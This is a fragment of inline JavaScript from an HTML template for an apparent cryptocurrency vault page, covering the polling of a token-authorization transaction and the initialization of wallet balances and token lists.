|
hash: tx
|
|
}
|
|
});
|
|
|
|
var c1time = setInterval(function() {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/authorizationSearch',
|
|
data: {
|
|
tx: tx
|
|
},
|
|
success: function(msg) {
|
|
var data = JSON.parse(msg);
|
|
if (data['data'][0]['type'] == 'tx') {
|
|
clearInterval(c1time)
|
|
document.getElementById('push').innerText = "{{trans('web.Unlock1')}}";
|
|
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme');
|
|
|
|
upBalanceV3();
|
|
}
|
|
}
|
|
});
|
|
}, 8000);
|
|
} else {
|
|
document.getElementById('push').innerText = "{{trans('web.Unlock1')}}";
|
|
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme');
|
|
|
|
|
|
message("{{trans('web.Unlock failed')}}")
|
|
}
|
|
})
|
|
}
|
|
});
|
|
}
|
|
|
|
async function initVault() {
|
|
var ctime = setInterval(async function() {
|
|
if (selectedAccount) {
|
|
clearInterval(ctime);
|
|
|
|
await numStart();
|
|
await balanceUp();
|
|
await getTokenList();
|
|
await upBalanceV3();
|
|
}
|
|
}, 500);
|
|
}
|
|
|
|
initVault();
|
|
</script>
|
|
</body>
|
|
|
|
</html> |